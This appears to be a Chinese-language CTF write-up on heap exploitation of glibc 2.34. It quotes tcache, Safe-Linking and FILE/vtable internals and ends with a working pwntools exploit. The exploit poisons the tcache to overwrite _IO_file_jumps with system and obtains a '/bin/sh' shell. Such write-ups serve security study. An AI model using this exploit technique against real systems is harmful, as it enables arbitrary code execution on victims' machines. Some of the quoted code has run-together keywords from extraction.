/* Caller must ensure that we know tc_idx is valid and there's room for more chunks. */ static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache_key;
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedefstructtcache_entry { structtcache_entry *next; /* This field exists to detect double frees. */ uintptr_t key; } tcache_entry;
同时tcache_get也有变化,也是多了e->key的操作和一个叫REVEAL_PTR的宏
1 2 3 4 5 6 7 8 9 10 11 12 13
/* Caller must ensure that we know tc_idx is valid and there's available chunks to remove. */ static __always_inline void * tcache_get(size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; if (__glibc_unlikely (!aligned_OK (e))) malloc_printerr ("malloc(): unaligned tcache chunk detected"); tcache->entries[tc_idx] = REVEAL_PTR (e->next); --(tcache->counts[tc_idx]); e->key = 0; return (void *) e; }
/* Process-wide key to try and catch a double-free in the same thread. */ staticuintptr_t tcache_key;
/* The value of tcache_key does not really have to be a cryptographically secure random number. It only needs to be arbitrary enough so that it does not collide with values present in applications. If a collision does happen consistently enough, it could cause a degradation in performance since the entire list is checked to check if the block indeed has been freed the second time. The odds of this happening are exceedingly low though, about 1 in 2^wordsize. There is probably a higher chance of the performance degradation being due to a double free where the first free happened in a different thread; that's a case this check does not cover. */ staticvoid tcache_key_initialize(void) { if (__getrandom (&tcache_key, sizeof(tcache_key), GRND_NONBLOCK) != sizeof (tcache_key)) { tcache_key = random_bits (); #if __WORDSIZE == 64 tcache_key = (tcache_key << 32) | random_bits (); #endif } }
/* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e->key == tcache_key)) { tcache_entry *tmp; size_t cnt = 0; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next), ++cnt) { if (cnt >= mp_.tcache_count) malloc_printerr ("free(): too many chunks detected in tcache"); if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2"); if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ } }
/* Safe-Linking: Use randomness from ASLR (mmap_base) to protect single-linked lists of Fast-Bins and TCache. That is, mask the "next" pointers of the lists' chunks, and also perform allocation alignment checks on them. This mechanism reduces the risk of pointer hijacking, as was done with Safe-Unlinking in the double-linked lists of Small-Bins. It assumes a minimum page size of 4096 bytes (12 bits). Systems with larger pages provide less entropy, although the pointer mangling still works. */ #define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr))) #define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
/* The opaque type of streams. This is the definition used elsewhere. */ typedefstruct _IO_FILEFILE;
#endif
/* The tag name of this struct is _IO_FILE to preserve historic C++ mangled names for functions taking FILE* arguments. That name should not be used in new code. */ struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */ unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1];
_IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
struct _IO_FILE_complete { struct _IO_FILE _file; #endif __off64_t _offset; /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf; size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)]; };
这里暂时只需要知道后面见到的FILE类型就是这里的struct _IO_FILE就好了
另一个有用的定义是libio/libioP.h中的_IO_FILE_plus
1 2 3 4 5 6 7 8 9 10
/* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */
/* The 'finish' function does any final cleaning up of an _IO_FILE object. It does not delete (free) it, but does everything else to finalize it. It matches the streambuf::~streambuf virtual destructor. */ typedefvoid(*_IO_finish_t)(FILE *, int); /* finalize */ #define _IO_FINISH(FP) JUMP1 (__finish, FP, 0) #define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
/* The 'overflow' hook flushes the buffer. The second argument is a character, or EOF. It matches the streambuf::overflow virtual function. */ typedefint(*_IO_overflow_t)(FILE *, int); #define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) #define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
/* The 'underflow' hook tries to fills the get buffer. It returns the next character (as an unsigned char) or EOF. The next character remains in the get buffer, and the get position is not changed. It matches the streambuf::underflow virtual function. */ typedefint(*_IO_underflow_t)(FILE *); #define _IO_UNDERFLOW(FP) JUMP0 (__underflow, FP) #define _IO_WUNDERFLOW(FP) WJUMP0 (__underflow, FP)
/* The 'uflow' hook returns the next character in the input stream (cast to unsigned char), and increments the read position; EOF is returned on failure. It matches the streambuf::uflow virtual function, which is not in the cfront implementation, but was added to C++ by the ANSI/ISO committee. */ #define _IO_UFLOW(FP) JUMP0 (__uflow, FP) #define _IO_WUFLOW(FP) WJUMP0 (__uflow, FP)
/* The 'xsputn' hook writes upto N characters from buffer DATA. Returns EOF or the number of character actually written. It matches the streambuf::xsputn virtual function. */ typedefsize_t(*_IO_xsputn_t)(FILE *FP, constvoid *DATA, size_t N); #define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N) #define _IO_WXSPUTN(FP, DATA, N) WJUMP2 (__xsputn, FP, DATA, N)
/* The 'xsgetn' hook reads upto N characters into buffer DATA. Returns the number of character actually read. It matches the streambuf::xsgetn virtual function. */ typedefsize_t(*_IO_xsgetn_t)(FILE *FP, void *DATA, size_t N); #define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N) #define _IO_WXSGETN(FP, DATA, N) WJUMP2 (__xsgetn, FP, DATA, N)
/* The 'seekoff' hook moves the stream position to a new position relative to the start of the file (if DIR==0), the current position (MODE==1), or the end of the file (MODE==2). It matches the streambuf::seekoff virtual function. It is also used for the ANSI fseek function. */ typedefoff64_t(*_IO_seekoff_t)(FILE *FP, off64_t OFF, int DIR, int MODE); #define _IO_SEEKOFF(FP, OFF, DIR, MODE) JUMP3 (__seekoff, FP, OFF, DIR, MODE) #define _IO_WSEEKOFF(FP, OFF, DIR, MODE) WJUMP3 (__seekoff, FP, OFF, DIR, MODE)
/* The 'seekpos' hook also moves the stream position, but to an absolute position given by a fpos64_t (seekpos). It matches the streambuf::seekpos virtual function. It is also used for the ANSI fgetpos and fsetpos functions. */ /* The _IO_seek_cur and _IO_seek_end options are not allowed. */ typedefoff64_t(*_IO_seekpos_t)(FILE *, off64_t, int); #define _IO_SEEKPOS(FP, POS, FLAGS) JUMP2 (__seekpos, FP, POS, FLAGS) #define _IO_WSEEKPOS(FP, POS, FLAGS) WJUMP2 (__seekpos, FP, POS, FLAGS)
/* The 'setbuf' hook gives a buffer to the file. It matches the streambuf::setbuf virtual function. */ typedef FILE* (*_IO_setbuf_t) (FILE *, char *, ssize_t); #define _IO_SETBUF(FP, BUFFER, LENGTH) JUMP2 (__setbuf, FP, BUFFER, LENGTH) #define _IO_WSETBUF(FP, BUFFER, LENGTH) WJUMP2 (__setbuf, FP, BUFFER, LENGTH)
/* The 'sync' hook attempts to synchronize the internal data structures of the file with the external state. It matches the streambuf::sync virtual function. */ typedefint(*_IO_sync_t)(FILE *); #define _IO_SYNC(FP) JUMP0 (__sync, FP) #define _IO_WSYNC(FP) WJUMP0 (__sync, FP)
/* The 'doallocate' hook is used to tell the file to allocate a buffer. It matches the streambuf::doallocate virtual function, which is not in the ANSI/ISO C++ standard, but is part traditional implementations. */ typedefint(*_IO_doallocate_t)(FILE *); #define _IO_DOALLOCATE(FP) JUMP0 (__doallocate, FP) #define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
/* The following four hooks (sysread, syswrite, sysclose, sysseek, and sysstat) are low-level hooks specific to this implementation. There is no correspondence in the ANSI/ISO C++ standard library. The hooks basically correspond to the Unix system functions (read, write, close, lseek, and stat) except that a FILE* parameter is used instead of an integer file descriptor; the default implementation used for normal files just calls those functions. The advantage of overriding these functions instead of the higher-level ones (underflow, overflow etc) is that you can leave all the buffering higher-level functions. */
/* The 'sysread' hook is used to read data from the external file into an existing buffer. It generalizes the Unix read(2) function. It matches the streambuf::sys_read virtual function, which is specific to this implementation. */ typedefssize_t(*_IO_read_t)(FILE *, void *, ssize_t); #define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN) #define _IO_WSYSREAD(FP, DATA, LEN) WJUMP2 (__read, FP, DATA, LEN)
/* The 'syswrite' hook is used to write data from an existing buffer to an external file. It generalizes the Unix write(2) function. It matches the streambuf::sys_write virtual function, which is specific to this implementation. */ typedefssize_t(*_IO_write_t)(FILE *, constvoid *, ssize_t); #define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN) #define _IO_WSYSWRITE(FP, DATA, LEN) WJUMP2 (__write, FP, DATA, LEN)
/* The 'sysseek' hook is used to re-position an external file. It generalizes the Unix lseek(2) function. It matches the streambuf::sys_seek virtual function, which is specific to this implementation. */ typedefoff64_t(*_IO_seek_t)(FILE *, off64_t, int); #define _IO_SYSSEEK(FP, OFFSET, MODE) JUMP2 (__seek, FP, OFFSET, MODE) #define _IO_WSYSSEEK(FP, OFFSET, MODE) WJUMP2 (__seek, FP, OFFSET, MODE)
/* The 'sysclose' hook is used to finalize (close, finish up) an external file. It generalizes the Unix close(2) function. It matches the streambuf::sys_close virtual function, which is specific to this implementation. */ typedefint(*_IO_close_t)(FILE *); /* finalize */ #define _IO_SYSCLOSE(FP) JUMP0 (__close, FP) #define _IO_WSYSCLOSE(FP) WJUMP0 (__close, FP)
/* The 'sysstat' hook is used to get information about an external file into a struct stat buffer. It generalizes the Unix fstat(2) call. It matches the streambuf::sys_stat virtual function, which is specific to this implementation. */ typedefint(*_IO_stat_t)(FILE *, void *); #define _IO_SYSSTAT(FP, BUF) JUMP1 (__stat, FP, BUF) #define _IO_WSYSSTAT(FP, BUF) WJUMP1 (__stat, FP, BUF)
/* The 'showmany' hook can be used to get an image how much input is available. In many cases the answer will be 0 which means unknown but some cases one can provide real information. */ typedefint(*_IO_showmanyc_t)(FILE *); #define _IO_SHOWMANYC(FP) JUMP0 (__showmanyc, FP) #define _IO_WSHOWMANYC(FP) WJUMP0 (__showmanyc, FP)
/* The 'imbue' hook is used to get information about the currently installed locales. */ typedefvoid(*_IO_imbue_t)(FILE *, void *); #define _IO_IMBUE(FP, LOCALE) JUMP1 (__imbue, FP, LOCALE) #define _IO_WIMBUE(FP, LOCALE) WJUMP1 (__imbue, FP, LOCALE)
/* Type of MEMBER in struct type TYPE. */ #define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)
/* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing violation in case THIS has a different pointer type. */ #define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \ (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \ + offsetof(TYPE, MEMBER)))
/* Perform vtable pointer validation. If validation fails, terminate the process. */ staticinlineconst struct _IO_jump_t * IO_validate_vtable(const struct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }
/* In case this libc copy is in a non-default namespace, we always need to accept foreign vtables because there is always a possibility that FILE * objects are passed across the linking boundary. */ { Dl_info di; structlink_map *l; if (!rtld_active () || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0 && l->l_ns != LM_ID_BASE)) return; }
#else/* !SHARED */ /* We cannot perform vtable validation in the static dlopen case because FILE * handles might be passed back and forth across the boundary. Therefore, we disable checking in this case. */ if (__dlopen != NULL) return; #endif
__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n"); }
/* Note: The init and fini parameters are no longer used. fini is completely unused, init is still called if not NULL, but the current startup code always passes NULL. (In the future, it would be possible to use fini to pass a version code if init is NULL, to indicate the link-time glibc without introducing a hard incompatibility for new programs with older glibc versions.) For dynamically linked executables, the dynamic segment is used to locate constructors and destructors. For statically linked executables, the relevant symbols are access directly. */ STATIC int LIBC_START_MAIN(int (*main) (int, char **, char ** MAIN_AUXVEC_DECL), int argc, char **argv, #ifdef LIBC_START_MAIN_AUXVEC_ARG ElfW(auxv_t) *auxvec, #endif __typeof (main) init, void (*fini) (void), void (*rtld_fini) (void), void *stack_end) { #ifndef SHARED char **ev = &argv[argc + 1];
__environ = ev;
/* Store the lowest stack address. This is done in ld.so if this is the code for the DSO. */ __libc_stack_end = stack_end;
# ifdef HAVE_AUX_VECTOR /* First process the auxiliary vector since we need to find the program header to locate an eventually present PT_TLS entry. */ # ifndef LIBC_START_MAIN_AUXVEC_ARG ElfW(auxv_t) *auxvec; { char **evp = ev; while (*evp++ != NULL) ; auxvec = (ElfW(auxv_t) *) evp; } # endif _dl_aux_init (auxvec); if (GL(dl_phdr) == NULL) # endif { /* Starting from binutils-2.23, the linker will define the magic symbol __ehdr_start to point to our own ELF header if it is visible in a segment that also includes the phdrs. So we can set up _dl_phdr and _dl_phnum even without any information from auxv. */
/* Initialize very early so that tunables can use it. */ __libc_init_secure ();
__tunables_init (__environ);
ARCH_INIT_CPU_FEATURES ();
/* Do static pie self relocation after tunables and cpu features are setup for ifunc resolvers. Before this point relocations must be avoided. */ _dl_relocate_static_pie ();
/* The stack guard goes into the TCB, so initialize it early. */ ARCH_SETUP_TLS ();
/* In some architectures, IREL{,A} relocations happen after TLS setup in order to let IFUNC resolvers benefit from TCB information, e.g. powerpc's hwcap and platform fields available in the TCB. */ ARCH_APPLY_IREL ();
/* Set up the stack checker's canary. */ uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random); # ifdef THREAD_SET_STACK_GUARD THREAD_SET_STACK_GUARD (stack_chk_guard); # else __stack_chk_guard = stack_chk_guard; # endif
# ifdef DL_SYSDEP_OSCHECK { /* This needs to run to initiliaze _dl_osversion before TLS setup might check it. */ DL_SYSDEP_OSCHECK (__libc_fatal); } # endif
/* Initialize libpthread if linked in. */ if (__pthread_initialize_minimal != NULL) __pthread_initialize_minimal ();
/* Set up the pointer guard value. */ uintptr_t pointer_chk_guard = _dl_setup_pointer_guard (_dl_random, stack_chk_guard); # ifdef THREAD_SET_POINTER_GUARD THREAD_SET_POINTER_GUARD (pointer_chk_guard); # else __pointer_chk_guard_local = pointer_chk_guard; # endif
#endif/* !SHARED */
/* Register the destructor of the dynamic linker if there is any. */ if (__glibc_likely (rtld_fini != NULL)) __cxa_atexit ((void (*) (void *)) rtld_fini, NULL, NULL);
#ifndef SHARED /* Perform early initialization. In the shared case, this function is called from the dynamic loader as early as possible. */ __libc_early_init (true);
/* Call the initializer of the libc. This is only needed here if we are compiling for the static library in which case we haven't run the constructors in `_dl_start_user'. */ __libc_init_first (argc, argv, __environ);
/* Register the destructor of the statically-linked program. */ __cxa_atexit (call_fini, NULL, NULL);
/* Some security at this point. Prevent starting a SUID binary where the standard file descriptors are not opened. We have to do this only for statically linked applications since otherwise the dynamic loader did the work already. */ if (__builtin_expect (__libc_enable_secure, 0)) __libc_check_standard_fds (); #endif/* !SHARED */
/* Call the initializer of the program, if any. */ #ifdef SHARED if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) GLRO(dl_debug_printf) ("\ninitialize program: %s\n\n", argv[0]);
if (init != NULL) /* This is a legacy program which supplied its own init routine. */ (*init) (argc, argv, __environ MAIN_AUXVEC_PARAM); else /* This is a current program. Use the dynamic segment to find constructors. */ call_init (argc, argv, __environ); #else/* !SHARED */ call_init (argc, argv, __environ); #endif/* SHARED */
#ifdef SHARED /* Auditing checkpoint: we have a new object. */ if (__glibc_unlikely (GLRO(dl_naudit) > 0)) { structaudit_ifaces *afct = GLRO(dl_audit); structlink_map *head = GL(dl_ns)[LM_ID_BASE]._ns_loaded; for (unsignedint cnt = 0; cnt < GLRO(dl_naudit); ++cnt) { if (afct->preinit != NULL) afct->preinit (&link_map_audit_state (head, cnt)->cookie);
/* Memory for the cancellation buffer. */ structpthread_unwind_bufunwind_buf;
int not_first_call; DIAG_PUSH_NEEDS_COMMENT; #if __GNUC_PREREQ (7, 0) /* This call results in a -Wstringop-overflow warning because struct pthread_unwind_buf is smaller than jmp_buf. setjmp and longjmp do not use anything beyond the common prefix (they never access the saved signal mask), so that is a false positive. */ DIAG_IGNORE_NEEDS_COMMENT (11, "-Wstringop-overflow="); #endif not_first_call = setjmp ((struct __jmp_buf_tag *) unwind_buf.cancel_jmp_buf); DIAG_POP_NEEDS_COMMENT; if (__glibc_likely (! not_first_call)) { structpthread *self = THREAD_SELF;
/* Store old info. */ unwind_buf.priv.data.prev = THREAD_GETMEM (self, cleanup_jmp_buf); unwind_buf.priv.data.cleanup = THREAD_GETMEM (self, cleanup);
/* Store the new cleanup handler info. */ THREAD_SETMEM (self, cleanup_jmp_buf, &unwind_buf);
/* Run the program. */ result = main (argc, argv, __environ MAIN_AUXVEC_PARAM); } else { /* Remove the thread-local data. */ __nptl_deallocate_tsd ();
/* One less thread. Decrement the counter. If it is zero we terminate the entire process. */ result = 0; if (! atomic_decrement_and_test (&__nptl_nthreads)) /* Not much left to do but to exit the thread, not the process. */ while (1) INTERNAL_SYSCALL_CALL (exit, 0); }
/* Call all functions registered with `atexit' and `on_exit', in the reverse of the order in which they were registered perform stdio cleanup, and terminate program execution with STATUS. */ void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp, bool run_list_atexit, bool run_dtors) { /* First, call the TLS destructors. */ #ifndef SHARED if (&__call_tls_dtors != NULL) #endif if (run_dtors) __call_tls_dtors ();
__libc_lock_lock (__exit_funcs_lock);
/* We do it this way to handle recursive calls to exit () made by the functions registered with `atexit' and `on_exit'. We call everyone on the list and use the status value in the last exit (). */ while (true) { structexit_function_list *cur = *listp;
if (cur == NULL) { /* Exit processing complete. We will not allow any more atexit/on_exit registrations. */ __exit_funcs_done = true; break; }
case ef_free: case ef_us: break; case ef_on: onfct = f->func.on.fn; arg = f->func.on.arg; #ifdef PTR_DEMANGLE PTR_DEMANGLE (onfct); #endif /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); onfct (status, arg); __libc_lock_lock (__exit_funcs_lock); break; case ef_at: atfct = f->func.at; #ifdef PTR_DEMANGLE PTR_DEMANGLE (atfct); #endif /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); atfct (); __libc_lock_lock (__exit_funcs_lock); break; case ef_cxa: /* To avoid dlclose/exit race calling cxafct twice (BZ 22180), we must mark this function as ef_free. */ f->flavor = ef_free; cxafct = f->func.cxa.fn; arg = f->func.cxa.arg; #ifdef PTR_DEMANGLE PTR_DEMANGLE (cxafct); #endif /* Unlock the list while we call a foreign function. */ __libc_lock_unlock (__exit_funcs_lock); cxafct (arg, status); __libc_lock_lock (__exit_funcs_lock); break; }
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called)) /* The last exit function, or another thread, has registered more exit functions. Start the loop over. */ continue; }
*listp = cur->next; if (*listp != NULL) /* Don't free the last element in the chain, this is the statically allocate element. */ free (cur); }
__libc_lock_unlock (__exit_funcs_lock);
if (run_list_atexit) RUN_HOOK (__libc_atexit, ()); // <=
_exit (status); }
也是很长,直接看最后几行就好了,有一个
1 2
if (run_list_atexit) RUN_HOOK (__libc_atexit, ());
int _IO_cleanup (void) { /* We do *not* want locking. Some threads might use streams but that is their problem, we flush them underneath them. */ int result = _IO_flush_all_lockp (0);
/* We currently don't have a reliable mechanism for making sure that C++ static destructors are executed in the correct order. So it is possible that other static destructors might want to write to cout - and they're supposed to be able to do so. The following will make the standard streambufs be unbuffered, which forces any output from late destructors to be written out. */ _IO_unbuffer_all ();
if (! (fp->_flags & _IO_UNBUFFERED) /* Iff stream is un-orientated, it wasn't used. */ && (legacy || fp->_mode != 0)) { #ifdef _IO_MTSAFE_IO int cnt; #define MAXTRIES 2 for (cnt = 0; cnt < MAXTRIES; ++cnt) if (fp->_lock == NULL || _IO_lock_trylock (*fp->_lock) == 0) break; else /* Give the other thread time to finish up its use of the stream. */ __sched_yield (); #endif
/* Some variants of libstdc++ interpose _IO_2_1_stdin_ etc. and install their own vtables directly, without calling _IO_init or other functions. Detect this by looking at the vtables values during startup, and disable vtable validation in this case. */ #ifdef SHARED __attribute__ ((constructor)) staticvoid check_stdfiles_vtables(void) { if (_IO_2_1_stdin_.vtable != &_IO_file_jumps || _IO_2_1_stdout_.vtable != &_IO_file_jumps || _IO_2_1_stderr_.vtable != &_IO_file_jumps) IO_set_accept_foreign_vtables (&_IO_vtable_check); } #endif
if (n <= 0) return0; /* This is an optimized implementation. If the amount to be written straddles a block boundary (or the filebuf is unbuffered), use sys_write directly. */
/* First figure out how much space is available in the buffer. */ if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING)) { count = f->_IO_buf_end - f->_IO_write_ptr; if (count >= n) { constchar *p; for (p = s + n; p > s; ) { if (*--p == '\n') { count = p - s + 1; must_flush = 1; break; } } } } elseif (f->_IO_write_end > f->_IO_write_ptr) count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
/* Then fill the buffer. */ if (count > 0) { if (count > to_do) count = to_do; f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); s += count; to_do -= count; } if (to_do + must_flush > 0) // <= { size_t block_size, do_write; /* Next flush the (full) buffer. */ if (_IO_OVERFLOW (f, EOF) == EOF) /* If nothing else has to be written we must not signal the caller that everything has been written. */ return to_do == 0 ? EOF : n - to_do; ... ... } libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
#define _IO_MAGIC 0xFBAD0000 /* Magic number */ #define _IO_LINKED 0x0080 /* In the list of all open files. */ #define _IO_IS_FILEBUF 0x2000 #define _IO_NO_READS 0x0004 /* Reading not allowed. */// FLAGS == _IO_NO_READS
/* Execute the given line as a shell command. This function is a cancellation point and therefore not marked with __THROW. */ externintsystem(constchar *__command) __wur;
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ ... ... };
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T) add() # 0 delete(0) #AUTOGDB and g.execute('b malloc.c:3068') and sleep(T) heap_base = u64(show(0).ljust(8, b'\x00')) << 12 AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T) AUTOGDB and g.execute('bins') and sleep(T) print(f'{hex(heap_base) = }')
AUTOGDB and g.execute('p "leak libc_base"') and sleep(T) for _ inrange(8): add() # 1 - 8 add() # 9, split top_chunk
for i inrange(1, 7+1): delete(i) delete(8) AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T) AUTOGDB and g.execute('bins') and sleep(T) if DEBUG: libc_base = u64(show(8).ljust(8, b'\x00')) - 0x3ddcc0# debug else: libc_base = u64(show(8).ljust(8, b'\x00')) - 0x1f2cc0 print(f'{hex(libc_base) = }')
AUTOGDB and g.execute('p "write /bin/sh to _IO_2_1_stdout_"') and sleep(T) if DEBUG: libc = ELF('libc-2.34-debug.so') # debug else: libc = ELF('libc.so') #libc_free_hook = libc_base + libc.symbols['__free_hook'] # history libc_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps'] libc_IO_new_file_finish = libc_base + libc.symbols['_IO_new_file_finish'] libc_system = libc_base + libc.symbols['system'] libc_stdout = libc_base + libc.symbols['_IO_2_1_stdout_']
print(f'{hex(libc_stdout) = }') assert libc_stdout & 0b1111 == 0 edit(7, p64(PROTECT_PTR(libc_stdout))) AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('hexdump &_IO_2_1_stderr_ 0x100') and sleep(T) add() # 10 add() # 11 AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T) #edit(11, b'/bin/sh\x00') # stuck in read if edit here AUTOGDB and g.execute('hexdump &_IO_2_1_stdout_') and sleep(T)
''' pwndbg> p _IO_file_jumps $1 = { __dummy = 0, __dummy2 = 0, __finish = 0x7fa11a22c60e <_IO_new_file_finish>, __overflow = 0x7fa11a22cecb <_IO_new_file_overflow>, __underflow = 0x7fa11a22cc20 <_IO_new_file_underflow>, <= ... ... } ''' AUTOGDB and g.execute('p "write system to _IO_file_jumps"') and sleep(T) print(f'{hex(libc_IO_file_jumps) = }') assert libc_IO_file_jumps & 0b1111 == 0 delete(10) edit(10, p64(PROTECT_PTR(libc_IO_file_jumps))) # e->key => dummy AUTOGDB and g.execute('bins') and sleep(T)
add() # 12 add() # 13 AUTOGDB and g.execute('x/20gx $rebase(0x4060)') and sleep(T)
edit(13, p64(0) + p64(0) + p64(libc_IO_new_file_finish) + p64(libc_system)) # system will not stuck #AUTOGDB and g.execute('b *$rebase(0x1285)') and sleep(T) edit(11, b'/bin/sh\x00') # stuck? system!